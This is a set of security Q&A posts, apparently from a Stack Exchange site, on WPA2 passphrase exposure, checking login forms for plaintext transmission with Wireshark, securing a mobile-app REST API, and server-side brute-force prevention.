I want to connect a Wi-Fi device to my home router, but I accidently choose the wrong SSID in the list and I provide my home router passphrase. Is it possible for someone to grab my authentication attempt in any form (hash or cleartext) ?
Since the client must communicate the password attempt to the router in order to get validated, the information must pass somewhere in the airs and the AP must receive it. So, I guess it would be possible to grab it somehow ?

No.  With WPA2, the client never actually sends the authentication password over the air to the access point.  Instead, the client derives an encryption key from the password, then the access point is able to verify that the client is in possession of the password cryptographically using the key derived from the password.  See https://superuser.com/questions/1068126/router-wifi-password-encryption-types-and-why-do-they-matter for more information.


Is there a way to program to discover sites transmitting user/pass in plaintext (Not using SSL) for penetration testing? I have a CSV/Excel file which in which I want to test out the links which do not have SSL but ask for Username / Password. Is there a program which determines if each site on a list encrypts its login information as it is being sent?

Yes. You can use a packet sniffer like Wireshark to observe the contents of the data packets as they travel between the website of interest and your computer.

Login using a unique string as the password, and search in Wireshark to find that string. It doesn't matter if it's the actual password or not, just as long as it is sent to the server.

If you are able to see that unique string in Wireshark, that must mean the password is being transmitted in the clear - i.e. over HTTP.


Securing REST API for use by mobile apps I developed a REST API whose clients are mobile apps/websites under my control (API is not open to anyone).  Users log into my mobile app/website with their Facebook or g+ login.  I'd like to secure the API so that either:

(a) users can access it only after successfully logging into fb/g+ via my app/website

or

(b) only my apps/websites can access it.

I came up with following for (a) and would appreciate feedback on any weaknesses or improvements:

All data between mobile app and REST API are encrypted with TLS.
User logs into my app with their Facebook/g+ credentials.
App receives token from fb/g+ and retrieves user info.
App sends user info (username/email/unique id) and token to REST API (e.g., /login).
REST API uses token and unique id to make a test call to fb/g+ API to ensure token and user info combo are valid.
REST API issues its own token to app and caches token keyed by unique id.
App sends unique id and token with every subsequent access to REST API.
REST API looks up unique id and token in cache.  If it exists, API access is granted to that request.

I'd like to do away with step 5, but don't see how else to verify the credentials given to the REST API.

I also thought about using Basic HTTP Authentication and TLS for (b), and this would be fine for a website client, but for mobile apps, it means the password would have to be stored on the mobile app in some form and susceptible to exposure, wouldn't it?  From what I gather, securing an API with Basic Auth and TLS is very common and I can see how it can work for websites, but I don't know of a way to achieve (b) for mobile apps without risking exposure of the password.

your API may not be as public as you thought. One can sniff all of the traffic from the mobile and get all of the data sent from the mobile app to your server.
even with htpps or basic auth, one can sniff the data.

https://en.wikipedia.org/wiki/Man-in-the-middle_attack


Brute force prevention: where and when? I design a 'secure' login system. Let's focus in the brute force prevention.
In my Android client I have a counter that counts the number of times that the user tries to login, with false credentials. When it reaches 3 fail tentatives, I disable the login button and the password field, forcing the user to restart the app, and thus blocking the brute force attack. Is this the right thing to do?

Or should I put a counter in the server? But in the server it can lead to DoS, if I receive a lot of brute force attempts at the same time, right?

The idea is stop the infinite number of  inputs, so in my opinion this can be done in the application side, in my case in the Android client.

I'm  open to suggestions.

Client side measures are only a partial (and mostly cosmetic) solution, this can only limit non-serious attempts. Any serious attempt will either hit your server directly because a login URL/API was detected, or will run your client through an intercepting proxy to capture the details required to create a brute force run.

Robust defences generally require you to assume that the attacker knows everything about the system except the secret key (Kerckhoff's Principle) so you should start from that position.

Mitigating measures include:

make it hard/impossible for an attacker to determine valid user names, invalid passwords or locked out accounts (basically minimal feedback, i.e. no "invalid username" or "password too long" messages, though issue a unique incident code if this is important for user support). As noted in the comment by My1, open registration may be a weak point here.
make it hard to determine anything other than success or failure, a failed login should take the same time as a successful one — this usually means making both artificially long (200ms is a starting point)
make the login API multi-step using a nonce or some time- or session-based token to complicate automated attacks, and prevent distributed attacks; or add some client-side proof of work (client side password hashing is one option, but needs careful consideration)
make sure the password space is sufficiently large, encourage (and support!) the use of a password manager
use account lockout and source IP lockout with exponentially increasing lockout times (e.g. double the lockout time on each failure, this should avoid annoying a user who gets a password wrong a couple of times). As noted in the comments, this is an opportunity for DOS, so consider the tradeoffs carefully
implement adaptive rate-control and malicious activity detection (this is generally harder than any of the other solutions as it requires additional state and logic on the server side)
consider adding an "under attack" mode of operation that can be enabled as required, ideally this will have minimal impact on users

From CAPEC-112 Brute Force:

  The key factor in this attack is the attackers' ability to explore the possible secret space rapidly.
  While the defender cannot control the resources available to an attacker, they can control the size of the secret space.
  The defender must rely on making sure that the time and resources necessary to do so will exceed the value of the information.

See also CAPEC-49 Password Brute Forcing